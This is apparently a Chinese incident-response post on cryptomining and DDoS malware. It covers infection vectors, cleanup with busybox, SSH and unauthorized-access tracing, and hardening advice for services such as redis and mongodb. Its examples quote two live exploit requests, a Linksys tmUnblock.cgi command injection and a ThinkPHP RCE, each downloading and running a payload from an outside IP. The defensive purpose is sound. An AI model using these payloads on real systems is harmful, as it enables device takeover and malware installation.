挖矿病毒、ddos入侵流程及溯源

时间:2021-02-09 14:28:06
一 挖矿病毒简介
 攻击者利用相关安全隐患向目标机器种植病毒的行为。
二 攻击方式
攻击者通常利用弱口令、未授权、代码执行、命令执行等漏洞进行传播。示例如下:
示例1:
 
POST /tmUnblock.cgi HTTP/1.1
Host: 188.166.41.194:80
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: /
User-Agent: python-requests/2.20.0
Content-Length: 227
Content-Type: application/x-www-form-urlencoded
ttcp_ip=-h `cd /tmp; rm -rf mpsl; wget http://165.22.136.161/vb/mpsl; chmod 777 mpsl; ./mpsl linksys`&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
示例二:
 
GET /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=wget http://81.6.42.123/a_thk.sh -O /tmp/a; chmod 0777 /tmp/a; /tmp/a; HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Host: 103.27.111.204
 
三 脚本流程
   3.1、杀死其他同类产品以及安全软件。比如安骑士、青藤云等等
  3.2、每隔一定周期检测一次进程是否存
  3.3、添加计划任务
  3.4、检查木马文件是否存在
  3.5、检查发现不存在木马文件就会自行远程下载并执行
   
四 排查思路
    4.0 断网
    4.1 检查计划任务,并将计划任务的域名或者ip写入到 /etc/resolv.conf中,绑定为 127.0.0.1  脚本域名
    4.2 上传busybox
    4.3 使用busbox中的ps、top、netstat、crontab、kill、rm、chattr等指令按照脚本内容依次删除挖矿脚本添加的内容
    4.4 使用busybox检查本机是否被写入恶意so。一般so地址为:/usr/lib/ 若有新增so,则使用busybox  rm 删除
    4.5 进入/proc/目录 计算所有pid 的md5值。 即执行 md5sum /proc/$pid/exe 并将得到的md5值去威胁情报社区(微步或者VT)查询相关信息
    4.6 确认删除计划任务、恶意so、挖矿进程后重启机器。随后再次检查
    
五 入侵溯源
    5.1 ssh入侵。
        grep ‘Accept’ /var/secure*
        strings     /var/wtmp
        strings     /var/lastlog
        strings     /var/utmp
        strings     /var/log/boot.log
        cat.        /root/.ssh/authorized_keys
 
一般而言,若在挖矿脚本中发现以上文件被删除或者置空,则99%可确定为是 通过ssh 爆破进来,则修复建议如下:
    5.1.1 升级openssh
    5.1.2  使用长度大约8的多种字符组合的密码
    5.1.3 安装fail2ban,
5.2 未授权入侵。 
常见存在未授权的应用如下
redis、jenkins、mongodb、zookeeper、es、memcache、hadoop、couchdb、docker、k8s
 
 
服务名 常见未授权原因 修复建议
redis 6379对外开放,且使用弱口令或者未设置密码
1 iptables 设定6379 ip白名单
2 设置redis强口令
jenkins 弱口令、script未授权
1 设置强密码
2 管理后台建议禁止开放公网,建议使用iptables指定来源ip
mongodb 27017 
1 本地访问
bind 127.0.0.1
2 修改默认端口
修改默认的mongoDB端口(默认为: TCP 27017)为其他端口
3 禁用HTTP和REST端口
MongoDB自身带有一个HTTP服务和并支持REST接口。在2.6以后这些接口默认是关闭的。mongoDB默认会使用默认端口监听web服务,一般不需要通过web方式进行远程管理,建议禁用。修改配置文件或在启动的时候选择–nohttpinterface 参数nohttpinterface = false
4 开启日志审计功能
审计功能可以用来记录用户对数据库的所有相关操作。这些记录可以让系统管理员在需要的时候分析数据库在什么时段发生了什么事情
5 开启auth认证
/etc/mongodb.conf  
auth = true 
6 开启鉴权模式
zookeeper 2181
1 禁止把Zookeeper直接暴露在公网
2 添加访问控制,根据情况选择对应方式(认证用户,用户名密码,指定IP)
Es 9200
1 默认开启的9200端口和使用的端口不对外公布,或架设内网环境。或者防火墙上设置禁止外网访问9200端口。
 
2 架设nginx反向代理服务器,并设置http basic认证来实现elasticsearch的登录认证。
3 限制IP访问,绑定固定IP
4 为elasticsearch增加登录验证,可以使用官方推荐的shield插件.
Memcache 11211
1.限制访问
2.防火墙
3.使用最小化权限账号运行Memcached服务
4.启用认证功能
5.修改默认端口
6.定期升级
Hadoop 8088
1 网络访问控制
2 启用认证功能
3 更新补丁
 
Couchdb 5984
1 指定CouchDB绑定的IP
2 设置访问密码
Docker  2181
1 网络访问控制
2 低权限运行
K8s 8080、6443
1 身份校验
2 设置密码
cms 代码执行、命令执行、注入等等 升级、打补丁
总之根据对应的服务,一一排查,挖矿病毒、ddos病毒类的都是脚本自动化执行,一般都是以上安全隐患造成的中毒。